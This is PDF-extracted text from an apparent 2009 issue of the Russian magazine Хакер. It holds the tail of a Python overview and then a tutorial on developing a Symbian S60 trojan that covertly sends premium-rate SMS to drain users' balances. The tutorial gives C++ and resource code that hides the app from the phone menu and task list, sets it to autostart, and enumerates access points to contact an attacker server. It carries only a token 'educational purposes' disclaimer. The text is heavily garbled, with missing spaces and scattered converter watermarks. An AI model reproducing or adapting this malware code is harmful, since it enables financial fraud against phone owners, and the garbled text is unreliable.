BUY

 

 

codingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Python, установленныйнасервере

нужновыключить, можнозаменитьдекораторнатакой: def logger(f): return f. Вдругихязыкахтакаязадачаможетстатьсерьезнойпроблемой, ноздесьвсевыполняетсябуквальновдвасчета

ООП

Несмотрянато, чтоPython — объекто-ориентированныйязык, некото- рыеаспектыегоООП-моделимогутпоказатьсянеобычнымииз-задина- мическихсвойств. Частоможноуслышатьвыражение«утинаятипизация». Еслиобъекткрякает, какутка, илетает, какутка, то Python считает его уткой. Объекттутпохожнамешокдлявсякогобарахла. Содержание мешкаопределяетсявовремявыполненияпрограммы. Вобъектможно засовыватьдополнительныеполя, добавлятьметоды, заменятьих

— вобщем, делатьвсе, чтоугодно. Конструкторклассасоздаетпустой мешок, запихиваеттудакое-какиеметодыивозвращаетпрограммисту. Приэтомнетвозможностиузнать, какимклассомбылсделанмешок, посколькувсемешки«внешне» одинаковыеиразличаютсятолькосодержанием. Когдаинтерпретаторвидитвыражениетипаobj.f(), онберет мешоксименемobj, роетсявнеми, еслитаковойнайдется, выполняет методf. Еслинет— примиошибкувременивыполнения. Этоиестьдинамическаятипизация.

Python поддерживаетполнуюинтроспекцию. Вмешкеразрешенорытьсясколькодушапожелает! Внемдажеможетхранитьсядокументация кобъекту. Болеетого, самиклассы— этотожеобъекты! Иихтожеможно менятьвовремявыполнения. Такмыприходимкважнойконцепции метаклассов, но рассмотримеекак-нибудьвдругойраз. Кстати, забыл добавить— Python обладаетхорошиммеханизмомобработкиисключений. Программулегкоразбиватьнамодули(модули— этотакиеже мешки!). Хорошиепрограммычастопишутвообщебезвведенияпользовательскихклассов. Такойподходобеспечиваетвозможностьразбиения программынамодули, замыкания, генераторыидругиевысокоуровневыеэлементыязыка.

ПОСТАВЛЯЕТСЯСБАТАРЕЙКАМИ

ОбщиепринципыдизайнаPython—простотаиэффективность—распро- страняютсяинаегостандартнуюбиблиотеку.Говорят,чтоPythonпоставляетсяс«батарейкамивкомплекте»(BatteriesIncluded).Действительно, стандартнаяреализация(CPython)включаетвсебябольшоемножествобиблиотек,активноприменяемыхвповседневномкодинге.Простоперечислю:

интерфейсккомандамоперационнойсистемы;

работасфайламиидиректориями;

XÀÊÅÐ 03 /123/ 09

регулярныевыражения;

самыеразнообразныефункциидляработыстекстомистроками;

навороченное, ноудобноеформатированиевывода, множествоматематическихфункций;

длиннаяарифметикадлявещественныхицелыхчисел(встроенавязык);

библиотекидляработысосновнымиинтернет-протоколами(mime, smtp, pop, jsoon, http, ftp, nntp telnet, cookie, cgi ит.д);

работасxml-документами(естьdom иsax-парсеры);

сжатиеданных(zip);

инструментыдляпрофилирования(измерениепроизводительности разныхучастковпрограммыдлявыявленияузкихмест);

framework дляюнит-тестирования;

автоматическаягенерациядокументации;

сериализацияобъектов;

библиотекаколлекций;

многопоточность;

работасбазамиданных;

криптографическиесервисы(md5, sha, hmac, hashlib);

работассетевымиинтерфейсами(какпрямочерезсокеты, такииспользуяболеевысокоуровневыеабстракции);

различныесредствавзаимодейсвияпроцессов(IPC); мультимедиа библиотека;

сервисыдляинтернационализации;

биндингc библиотекойTk (длябыстрогосозданияGUI).

Иэтотолькостандартнаябиблиотека,котораяидетводнойпоставкесинтерпретатором!Сложнонайтиобластьпрограммирования,вкоторойнельзя былобыиспользоватьPython.Длярешенияболеесложныхзадачнаписано огромноеколичествостороннихмодулейибиблиотек.Самоеглавное,что подавляющееихбольшинствопереносимонавсеплатформы,накоторых работаетинтерпретатор.ПрограмманаPython,использующаяэтимодули, будетработатьвразныхОСбезизмененийвкоде! ЭтопревращаетPythonв идеальноесредстводлябыстройиэффективнойразработкиприложений.

ВЫВОДЫ

СегоднянаPython работаюттысячиприложений— какбольшие, сложныеикритическиважныедляведениябизнесасистемы, такимелкие подручныеутилиты, короткиескрипты-эксплойты. Очаровавмногих программистов, Python скаждымднемстановитсявсепопулярнее. Надеюсь, изстатьитыпонял, почемубольшаячастьредакции][акерауже проголосовалазаэтотязыкпрограммирования:). z

095

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

coding

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ДМИТРИЙ ТАРАСОВ

/ ROOT@DTARASOV.RU /

 

#include <startupitem.rh>

 

 

RESOURCE STARTUP_ITEM_INFO

 

 

blacklist

 

 

{

 

 

executable_name = «c:\\sys\\

 

CEikonEnv::Static()->

bin\\YourApp.exe»;

 

RootWin().EnableReceiptOfFocus(

recovery = EStartupItemExPolicy

void CMegaTrojAppUi::

EFalse);

None;

HandleForegroundEventL

//приложение никогда не может

}

(TBool aForeground)

получить фокус

 

{

CEikonEnv::Static()->

 

switch (aForeground)

RootWin().SetOrdinalPosition(-

 

{

1000,

 

case ETrue:

ECoeWinPriorityNeverAtFront);

 

{

 

 

CEikonEnv::Static()->RootWin().

 

 

SetOrdinalPosition

 

 

(0, ECoeWinPriorityNormal);

ЗЛО-КОДИНГ

TApaTask task(iEikonEnv-

}

 

 

>WsSession());

 

 

task.SetWgId(CEikonEnv::Static()->

 

 

RootWin().Identifier());

ПОДSYMBIAN

task.SendToBackground();

}

 

 

break;

}

НАПИСАТЬТРОЯВОБХОДЗАЩИТЫ SYMBIAN? НЕСОВЕТУЕМ!

В свое время мы уже рассказывали о том, как злые люди пишут трояны, способные пересылать копии sms’ок и информацию о звонках на номер хакера. Публикации вызвали волну интереса, и до сих пор мне пишут люди с прось- бами помочь разобраться в разработке шпионского ПО. Что ж, мы учли специфику спроса на софт подобного рода.

Наэтотразмыприоткроемзавесутайнынадпроцессомраз- Н работкипродвинутогосмс-троянадлясмартфоновNokia,

Samsung иLG набазеS60. Незаметнодляпользователя троянумеетсливатьденьгисосчета.

НЕМНОГОТЕОРИИ

Интересзлоумышленниковктрубкамневинныхпользователейпонятен. Смартфон— этоличноесредствокоммуникации, ионнетолько содержитразногородаприватнуюинформациювродесообщений, лога звонковиадреснойкниги, ноиможетвыполнятьоперации, напрямую связанныессостояниемденежногобаланса(осуществлениезвонков, отправкаsms, использованиеGPRS ит.д.). Учитываяособенностифункционаласмартфонов, явыделилбытриразновидностивредоносного ПО, представляющиекоммерческуюценностьдляхакеров:

1.ШпионскоеПО— программы, сливающиетекстысообщений, логзвонков либопосредствомsms, либоотправкойнасерверзлоумышленника. Ораз- работкеподобныхпрограмммырассказывалив93-ми103-мномерахz.

2.Трояны-рассыльщикиплатныхSMS. Такойсофтсоздаетсясцелью наживы. Впростейшемвариантепрограммапериодическинезаметно

отправляетPremium SMS стоимостьюот0,5 $ до5$ наномер, зарегистрированныйнаподставноеюридическое(либо— левоефизическое) лицо. 3.Шпионскийтрекер— программа, использующаяфункционал встроенногоGPS-приемника, отправляетнасерверзлоумышленников данныеокоординатахустройстваи, соответственно, еговладельца. Используетсядлянезаметногослежениязаперемещениемобъекта. Этотвидшпионскогософтанаходитсяпокавзачаточномсостоянии, таккаксильноограниченмодельнымрядомсмартфонов. Нонарынке точносуществует, покрайнеймере, однаработающаяпрограмма-шпи- он. Посколькупроцесссозданияприложенийпервоготипаужебыл более-менеедетальноосвещен, сейчасмыподробнорассмотримшаги, необходимыедляразработкитрояна-рассыльщика. Впростейшем случаеалгоритмфункционированиянесложен— программаустанавливаетсявтелефон, никакневыдаваясвоеприсутствие. Развзаданный промежутоквременионаотправляетPremium SMS (отом, чтоэтоикак зарегистрироватькороткийномер— смотриследующийраздел) назаданныйномери… все. Примернотакифункционировалодинизпервых трояновдляSymbian. Очевидно, чтоэтотфункционалтребуетнекоторого усовершенствования.

096

XÀÊÅÐ 03 /123/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

codingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

Подобиеадминки

 

 

 

ЛОГИКАФУНКЦИОНИРОВАНИЯПРОДВИНУТОГОТРОЯНА

автоматическоговыбораточкидоступаизустановленныхвсмартфонеи

 

 

 

 

Проблемаописаннойпрограммызаключаетсявтом, чтовскорепосле

определенияееспособностибытьиспользованнойвкачестветранспор-

 

попаданиятроянаваппаратыпользователей, фактнедобросовест-

тадлясинхронизацииссервером. Итак, требованиякпрограммеможно

 

ностиарендаторакороткогономера, накоторыйотправляетсяплатная

сформулироватьследующимобразом:

 

sms, можетсильноозаботитьсобственниковэтогономера. Обычно

• Программадолжнабытьсокрытаотглазпользователя(нетиконкив

 

онипростоблокируютарендатора, чтобыоннемогболеекластьденьги

менютелефона, вtask list).

 

невинныхпользователейксебевкарман. Нобыстрозарегистрировать

• Программаавтоматическизапускаетсяпристартетелефона.

 

новыйкороткийномерособоготруданесоставляет, поэтомунеплохо

• Программадолжнауметьавтоматическиопределятьработоспособную

 

былобы, чтобыпрограммамоглапериодическиобновлятьинформацию

точкудоступа(IAP).

 

отом, куда, собственно, слатьплатнуюsms. Иначеговоря, хакерунадо

• Программадолжнауметьобновлятьданныессервераотом, кудаслать

 

реализоватьмеханизмысоединенияпрограммыссерверомиобновле-

сообщения.

 

ниянастроек. Казалосьбы, вчемсложность? Автом, чтовсмартфонах

• Впрограммедолженбытьреализованвнятныймеханизмопределе-

 

набазеSymbian всесоединениячерезtcp sockets (втомчислеиHTTP

нияпериодичностиотправкисообщенияисохранениядатыпоследней

 

over TCP) осуществляютсяпосредствомтакназываемой«точкидоступа

отправки.

 

винтернет» (Internet Access Point). Поэтому, еслипрограммаиспользует

• Программадолжнауметьотправлятьсообщения.

 

функционалсоединенияссетью, пользовательдолжензадатьисполь-

Помимоэтого, стоитучесть, чтософт, устанавливаемыйнасовременные

 

зуемуюточкудоступахотябыодинраз. Троянтруднобылобыназвать

смартфоны, работающиеподуправлениемSymbian 9, долженбытьпод-

 

незаметным, еслибыонспрашивалупользователя, какуюточкудоступа

писанцифровымсертификатом, получаемымвконтореподназванием

 

емуиспользовать. Поэтомухакерупредстоитреализоватьмеханизм

SymbianSigned. Предлагаюпошаговорассмотретьэтапыразработки

XÀÊÅÐ 03 /123/ 09

097

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

coding

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

зловредногоПОиподготовкиегокработе.

 

туальнойфункцииUpdateTaskNameL,служащейдлянастройки

 

 

Чтобыразобратьсявпредлагаемомматериале, касающем-

 

отображенияиконкииназванияпрограммывTask-листе:

 

 

сянепосредственноразработкисофтадляSymbian, неплохо

 

 

 

 

 

иметьхотябынебольшойопытразработкиподэтумобиль-

 

void CMegaTroj::UpdateTaskNameL

 

 

warning

нуюОСили, какминимум, ознакомитьсяснашимипреды-

 

(CApaWindowGroupName*aWgName)

 

 

дущимистатьями, посвященнымипрограммированиюдля

 

{

 

 

 

 

 

 

Министерствоздра-

мобильныхустройств. Тутмноюнерассматриваютсятакие

 

CAknDocument::UpdateTaskNameL(aWgName);

 

 

воохраненияzеще

вопросы, какбазовыйкостякприложения, назначениеос-

 

//вызывается системная функция

 

 

разнапоминает, что

новныхклассовифункций, базовыхпарадигмиконцепций

 

UpdateTaskNameL

 

 

даннаястатьянапи-

Symbian (вслучаечего— списокдополнительныхматериа-

 

aWgName->SetHidden(ETrue);

 

 

санаисключительно

ловприведенвконцестатьи).

 

//Прячем приложение из таск-листа

 

 

вобразовательных

 

 

 

aWgName->SetSystem(ETrue);

 

 

целях. Мыненесем

 

МЕХАНИЗМСОКРЫТИЯПРОГРАММЫ

 

}

 

 

 

 

 

 

 

 

 

 

ответственностиза

Предположим, чтобазовыйкостякприложениясоздан.

 

 

 

 

противозаконное

ДляэтогомогутбытьиспользованыкакCarbide C++, таки

 

3) ДляSymbian 7/8. Добавляемвконструкторкласса

 

применениеэтой

Visual Studio.NET сустановленнойнадстройкойCarbide.

 

AppUi-приложениясвойстваокна, скрывающиеегоотглаз

 

информации.

VS. Подойдетбазовыйшаблонвроде«Symbian Hello

 

пользователя:

 

 

World Application» (отмечу, чтовэтойстатьенетпривязкик

 

 

 

 

 

конкретномуSDK, поэтомуможноиспользоватьлюбойSDK

 

CEikonEnv::Static()->

 

 

 

длялюбойплатформы). Теперьприступимксобственносо-

 

RootWin().EnableReceiptOfFocus(EFalse);

 

 

 

крытиюприложенияотглазпользователя. Чтобыспрятать

 

//приложение никогда не может получить фокус

 

 

 

программу, нужновыполнитьтрипростыхшага:

 

CEikonEnv::Static()->

 

 

 

1)Редактируемструктуру, содержащуюслужебнуюинфор-

 

RootWin().SetOrdinalPosition(-1000,

 

 

 

мациюоприложениииименуемуюAIF_DATA вSymbain

 

ECoeWinPriorityNeverAtFront);

 

 

 

7.x-8.x иAPP_REGISTRATION_INFO вSymbian 9.x. Этаструк-

 

 

 

 

 

 

 

 

 

 

тураявляетсяобычнымресурсоминаходится втомфайле

 

ДляSymbian 9. Проблемависпользованииприведенного

 

 

ресурсов, которыйсодержитосновнойUID приложения.

 

дляSymbian 7/8 кодатутсостоитвтом, чтовызоввто-

 

 

Необходимодобавитьследующуюпростуюзапись:

 

ройстатическойфункциивSymbian 9 блокируетлюбую

 

 

 

 

 

активностьприложения, включаяотправкусообщений.

 

 

 

hidden = KAppIsHidden;

 

Поэтомумыограничиваемсявызовомпервойфункциии

 

 

 

 

 

переопределяемметодклассаCAknViewAppUi (откоторо-

 

 

 

 

 

 

Флагпопростускрываетиконкуприложенияизменю

 

го, собственно, инаследуетсяклассAppUi-приложения)

 

 

аппарата.

 

— HandleForegroundEventL, вызываемоговмомент, когда

 

 

2)Вклассдокументаприложениядобавляемопределениевир-

 

приложениеполучаетилитеряетфокус:

 

098

XÀÊÅÐ 03 /123/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

codingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

void CMegaTrojAppUi::HandleForegroundEventL (TBool aForeground)

{

switch (aForeground) {

case ETrue:

{

CEikonEnv::Static()->RootWin().SetOrdinalPosition (0, ECoeWinPriorityNormal);

TApaTask task(iEikonEnv->WsSession()); task.SetWgId(

CEikonEnv::Static()->RootWin().Identifier()); task.SendToBackground();

}

break;

}

}

Все, теперьнашеприложениеприустановкеблагополучноисчезаетиз менюаппарата, task-листа— идажепрячется, еслипользовательвдруг каким-тообразомнайдетисполняемыйфайлвфайловойсистемеи попытаетсязапуститьеговручную.

РЕАЛИЗАЦИЯМЕХАНИЗМААВТОСТАРТА

Программированиеавтостартапридетсярассмотретьотдельнодля

Symbian 7/8 идляSymbian 9.

ДляSymbian 7/8. ВсамойSymbian OS доверсии9.хнебылоявнойподдержкимеханизмаавтостарта, излыепрограммистыдляреализации своихтемныхплановбыливынужденыиспользоватьтакназываемые recognizers. Recognizers изначальноявляютсямеханизмомдляиден- тификацииMIME-типаконкретногофайла, позволяющим, кпримеру, операционнойсистемеопределять, какимприложениемоткрыватьи редактироватьфайлыопределенноготипа. Дляуправлениязапуском приложенийисохранениемданных, основанныхнаMIME-типах, в Series60 существуетподсистема, именуемаяDocument Handler. Этаподсистемаразработанадлякорректногосохраненияиоткрытияконтента, полученного, кпримеру, черезMMS-сообщения, WAP-закачки, bluetooth ит.д. Прощеговоря, механизмпозволяетприоткрытиикартинкииз аттачасообщенийоткрытьееименнопрограммойпросмотрасообщений, анечем-тоеще. ВSeries60 развиттакназываемыйembedded launching, — тоесть, есливприложенииАтребуетсяобработкаконтента потипу, соответствующемуприложениюВ, топриложениеАвызывает приложениеВипередаетемуконтент. Приэтомвернутьсявприложение АможнотолькопофактузавершенияработысконтентомвВ. Примером служитоткрытиевWEB-браузересмартфонассылкинаjpg-картинку. ДляпросмотрафайлазапускаетсяImage Viewer, итолькопослеегозакрытияможновернутьсякбраузеру. Привязкаконкретныхприложенийк конкретнымтипамосуществляетсяпутемхранениясоответствийMIMEтиповуникальнымидентификаторамприложений(UID). Чтобыпомочь Symbian OS определить, какимприложениемнужнооткрыватьфайлс конкретнымразрешениемилиMIME-типом, ибылисозданыrecognizers. Посвоейсутиrecognizer — этоdll, имеющаяразрешениеmdl исохраняемаявдиректорииc:\system\recogs смартфона. Пристартесмартфона ОСрегистрируетсоответствиявида«MIME-тип/ UID приложения» путем вызовакодаrecognizer’ов. Именноэтотфактиможноиспользовать дляавтостартаприложения. Внашемслучаепроцедурареализации автостартаследующая:

Создаемrecognizer дляфайловсрасширением*.bt (кпримеру; расширениетутвообщенепринципиально).

Вкодеинициализацииrecognizer’a, запускаемомпристартесмартфона, прописываемпутькфайлутрояна, которыйтребуетсязапустить, и, собственно, запускаем.

Процессдовольносложендлявосприятия, ноисходники, какобычно, прилагаютсянадискекжурналу. Здесьмынебудемихприводитьиз-за нехваткиместа.

ДляSymbian 9. Тут, ксчастью, всегораздопроще. Чтобызаставитьнашу программузапускатьсяпристартемобилы, нужнопроделатьвотчто: 1)Создатьфайлресурсов(*.rss), называемыйпоUID3 приложения. В частности, еслиUID3 0x12345678, тофайлресурсовназываем12345678. rss. Содержатьонбудетследующийресурс:

#include <startupitem.rh>

RESOURCE STARTUP_ITEM_INFO blacklist {

executable_name = "c:\\sys\\bin\\YourApp.exe"; recovery = EStartupItemExPolicyNone;

}

2)ВMMP-файлдобавляемкомандукомпиляциифайларесурсов:

START RESOURCE 12345678.rss

TARGETPATH \resource\apps

END

3)Вpkg-файлдобавляемстроку: C:\Symbian\9.1\S60_3rd_MR\

epoc32\data\z\resource\apps\12345678.rsc"-"c:\private\ 101f875a\import\[12345678].rsc. Вданномслучаедиректория c:\private\101f875a\import являетсярабочимкаталогом, на основаниисодержаниякоторогоформируетсясписокавтозагрузки. Мы, фактически, создалихорошийиуниверсальныйкостякдляпрактическилюбойполезнойсофтиныподSymbian. Идемдальше.

АВТООПРЕДЕЛЕНИЕТОЧКИДОСТУПА

Намойвзгляд, этосамаясложнаячасть. Базоваяидеяреализациямеханизмасостоитвследующем:

1)Программно получаем список всех сохраненных в настройках устройства точек доступа. Среди них будут как GPRS-, так и WAP- и MMS-точки доступа. При получении списка точек доступа посредством класса CApSelect, который мы будем использовать, можно задавать фильтр составления списка, в том числе и по типу точки доступа (GPRS/WAP/MMS). Мы рекомендуем фильтрацию не проводить, поскольку принадлежность конкретной точки доступа к конкретному типу (с точки зрения CApSelect) не гарантирует, что через эту точку доступа нельзя достучаться до нашего сервера (или что, наоборот, можно).

2)Начинаемперебиратькаждуюточкудоступаизсписка, используя

еедлятестовогосоединениясудаленнымecho-сервером, отправляющимклиенту(нашейпрограмме) вточноститотженаборбайт, который онполучилотнего. Прощеговоря, пытаемсяотправитьнаэхо-сервис байты0x01,0x02 и0x03 ипроверяем, получилилимыихобратно. Условие приемаданнойкомбинациибайтявляетсянеобходимымидостаточным дляидентификациитого, чтоточкадоступаможетбытьиспользована длясоединенияссервером. Вслучаелюбогодругогорезультата— таймаутзапроса, кодошибкиит.д. — мыидентифицируемточкудоступакак нерабочую.

3)Сохраняемидентификаторполученнойрабочейточкидоступаи используемеедлясоединенияссервером.

Дляполученияспискаточекдоступа, какужеотмечалось, используется экземплярклассаCApSelect. ЕгоможносделатьчленомклассаAppUiприложенияивызыватьвконструктореAppUi следующийкод(будет, соответственно, вызыватьсяпристартеприложения):

CCommsDatabase* commDb = CCommsDatabase::NewL( EDatabaseTypeIAP);

CleanupStack::PushL(commDb);

iSelect = CApSelect::NewLC (*commDb, KEApIspTypeAll, EApBearerTypeGPRS, KEApSortNameAscending);

iConnectionEnabled = iSelect->MoveToFirst(); CleanupStack::Pop(iSelect); CleanupStack::PopAndDestroy(commDb); //commDb

XÀÊÅÐ 03 /123/ 09

099

 

Соседние файлы в папке журнал хакер